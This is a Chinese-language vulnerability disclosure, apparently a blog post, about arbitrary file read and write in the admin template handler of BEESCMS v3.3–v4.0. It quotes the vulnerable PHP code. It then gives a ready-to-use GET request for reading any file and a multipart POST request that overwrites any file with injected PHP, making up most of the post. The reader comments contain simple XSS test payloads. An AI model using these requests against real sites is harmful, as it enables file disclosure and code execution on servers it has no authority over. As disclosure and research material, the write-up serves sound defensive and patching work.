beescmsV3.3 – v4.0 后台任意文件读取+修改

问题文件:admin/admin_template.php

//模板修改界面
elseif($action==’xg’){
if(!check_purview(‘tpl_manage’)){msg(‘<span style=”color:red”>操作失败,你的权限不足!</span>’);}
$file = $_GET[‘file’];
$path=CMS_PATH.$file;
if(!$fp=@fopen($path,’r+’)){err(‘<span style=”color:red”>模板打开失败,请确定【’.$file.’】模板是否存在</span>’);}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($path));
$str = str_replace(“&”,”&amp;”,$str);
$str= str_replace(array(“‘”,'”‘,”<“,”>”),array(“&#39;”,”&quot;”,”&lt;”,”&gt;”),$str);
flock($fp,LOCK_UN);
fclose($fp);
include(‘template/admin_template_xg.html’);
}

//处理模板修改
elseif($action==’save_template’){
if(!check_purview(‘tpl_manage’)){msg(‘<span style=”color:red”>操作失败,你的权限不足!</span>’);}
$template = $_POST[‘template’];
$file = $_POST[‘file’];
$template=stripslashes($template);
$path=CMS_PATH.$file;
//判断文件是否存在
if(!file_exists($path)){msg(‘不存在该文件,请重新操作’);}
if(!$fp=@fopen($path,’w+’)){err(‘<span style=”color:red”>模板打开失败,请确定【’.$file.’】模板是否存在</span>’);}
flock($fp,LOCK_EX);
fwrite($fp,$template);
flock($fp,LOCK_UN);
fclose($fp);
msg(‘【’.$file.’】模板修改完成’,’?nav=’.$admin_nav.’&admin_p_nav=’.$admin_p_nav);
}

任意文件读取:
GET:

http://localhost/BEES/admin/admin_template.php?action=xg&nav=list_tpl&admin_p_nav=tpl&lang=cn&file=要读取的文件名

任意文件修改:
POST:

http://localhost/BEES/admin/admin_template.php?nav=list_tpl&admin_p_nav=tpl
—————————–176193113215335
Content-Disposition: form-data; name=”template”

/*<?php
phpinfo();
?>*/
要修改的内容
—————————–176193113215335
Content-Disposition: form-data; name=”action”

save_template
—————————–176193113215335
Content-Disposition: form-data; name=”file”

要修改的文件名
—————————–176193113215335
Content-Disposition: form-data; name=”submit”

纭畾
—————————–176193113215335–
4 条评论
  1. alert(1)

  2. <script>alert(1)<script>

发表一条评论